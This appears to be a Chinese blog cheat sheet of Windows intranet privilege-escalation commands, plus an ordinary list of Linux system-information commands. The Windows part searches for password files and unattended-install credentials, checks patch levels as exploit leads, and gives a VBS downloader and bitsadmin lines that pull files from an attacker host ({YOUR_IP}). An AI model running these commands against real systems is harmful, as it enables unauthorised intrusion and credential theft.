Windows內網滲透提權的幾個實用命令 以及 Linux系統信息查看命令

windows

獲取操作系統信息

識別操作系統名稱及版本

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.14393 N/A Build 14393

當然中文系統得輸入這樣:

systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"

識別系統體系結構

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE% 
AMD64

查看所有環境變量

C:\Users\thel3l> SET
USERNAME=thel3l
USERPROFILE=C:\Users\thel3l

查看某特定用戶信息

C:\Users\thel3l>net user thel3l
User name thel3l

獲取網絡信息

查看路由表信息

C:\Users\thel3l> route print

查看ARP緩存信息

C:\Users\thel3l> arp -A 

查看防火牆規則

C:\Users\thel3l> netstat -ano 
C:\Users\thel3l> netsh firewall show config 
C:\Users\thel3l> netsh firewall show state 

應用程序及服務信息

查看計劃任務

C:\Users\thel3l> schtasks /QUERY /fo LIST /v 

中文系統的命令,先調整GBK編碼爲437美國編碼:

C:\Users\thel3l> chcp 437

然後

C:\Users\thel3l> schtasks /QUERY /fo LIST /v

查看服務進程ID

C:\Users\thel3l> tasklist /SVC

查看安裝驅動:

C:\Users\thel3l> DRIVERQUERY 

查看安裝程序和版本信息(漏洞利用線索):

C:\Users\thel3l> wmic product list brief 

查看服務、進程和啓動程序信息

C:\Users\thel3l> wmic service list brief 
C:\Users\thel3l> wmic process list brief
C:\Users\thel3l> wmic startup list brief

查看.msi程序的執行權限

C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看是否設置有setuid和setgid

C:\Users\thel3l> 
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits

查看安裝補丁和時間信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞補丁信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"

敏感數據和目錄

查找密碼文件或其它敏感文件

C:\Users\thel3l> cd/ 
C:\Users\thel3l> dir /b/s password.txt
C:\Users\thel3l> dir /b/s config.* 
C:\Users\thel3l> findstr /si password *.xml *.ini *.txt
C:\Users\thel3l> findstr /si login *.xml *.ini *.txt

無人值守安裝文件:

這些文件通常包含base64模式的密碼信息。這類文件在一些大型企業網絡或GHO系統中可以發現,文件通常的位置如下:

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

文件系統

可以通過調用系統預安裝程序語言查看當前可訪問目錄或文件權限,如python下:

import os; os.system("cmd /c {command here}") 

使用copy con命令創建ftp執行會話:

範例

C:\Users\thel3l> copy con ftp.bat #創建一個名爲ftp.bat的批處理文件

ftp # 輸入執行會話名稱,按回車到下一行,之後按CTRL+Z結束編輯,再按回車退出

C:\Users\thel3l> ftp.bat # 執行創建的文件

ftp> # 執行ftp命令

ftp> !{command} # e.g. - !dir or !ipconfig

使用copy con命令創建VBS腳本文件:

C:\Users\thel3l> copy con commandExec.vbs #創建VBS腳本文件

Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件內容

C:\Users\thel3l> commandExec.vbs #執行腳本文件

檢查文件夾可寫狀態:

C:\Users\thel3l> dir /a-r-d /s /b

6.一個有用的文件上傳腳本

' downloadfile.vbs 

' Set your settings

strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"

strHDLocation = "c:\\{FILE_NAME.EXT}"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

你可以以下這種方式運行它:

C:\Users\thel3l>cscript.exe downloadfile.vbs

bitsadmin命令
如果你的目標系統是Windows 7及以上操作系統,你可以使用bitsadmin命令,bitsadmin是一個命令行工具,可用於創建下載上傳進程:
範例

C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file 

C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT} 

C:\Users\username\Downloads\{FILE_NAME.EXT}

如:

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip

Linux

系統


# uname -a #查看內核/操作系統/CPU信息

# head -n 1 /etc/issue #查看操作系統版本

# cat /proc/cpuinfo #查看CPU信息

# hostname #查看計算機名

# lspci -tv #列出所有PCI設備

# lsusb -tv #列出所有USB設備

# lsmod #列出加載的內核模塊

# env #查看環境變量

資源

# free -m #查看內存使用量和交換區使用量

# df -h #查看各分區使用情況

# du -sh <目錄名> #查看指定目錄的大小

# grep MemTotal /proc/meminfo #查看內存總量

# grep MemFree /proc/meminfo #查看空閒內存量

# uptime #查看系統運行時間、用戶數、負載

# cat /proc/loadavg #查看系統負載

磁盤和分區

# mount | column -t #查看掛接的分區狀態

# fdisk -l #查看所有分區

# swapon -s #查看所有交換分區

# hdparm -i /dev/hda #查看磁盤參數(僅適用於IDE設備)

# dmesg | grep IDE #查看啓動時IDE設備檢測狀況

網絡

# ifconfig #查看所有網絡接口的屬性

# iptables -L #查看防火牆設置

# route -n #查看路由表

# netstat -lntp #查看所有監聽端口

# netstat -antp #查看所有已經建立的連接

# netstat -s #查看網絡統計信息

進程

# ps -ef #查看所有進程

# top #實時顯示進程狀態

用戶

# w #查看活動用戶

# id <用戶名> #查看指定用戶信息

# last #查看用戶登錄日誌

# cut -d: -f1 /etc/passwd #查看系統所有用戶

# cut -d: -f1 /etc/group #查看系統所有組

# crontab -l #查看當前用戶的計劃任務

服務

# chkconfig --list #列出所有系統服務

# chkconfig --list | grep on #列出所有啓動的系統服務

程序

# rpm -qa #查看所有安裝的軟件包

特別鳴謝
1. Windows內網滲透提權的幾個實用命令
2. Linux系統信息查看命令

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章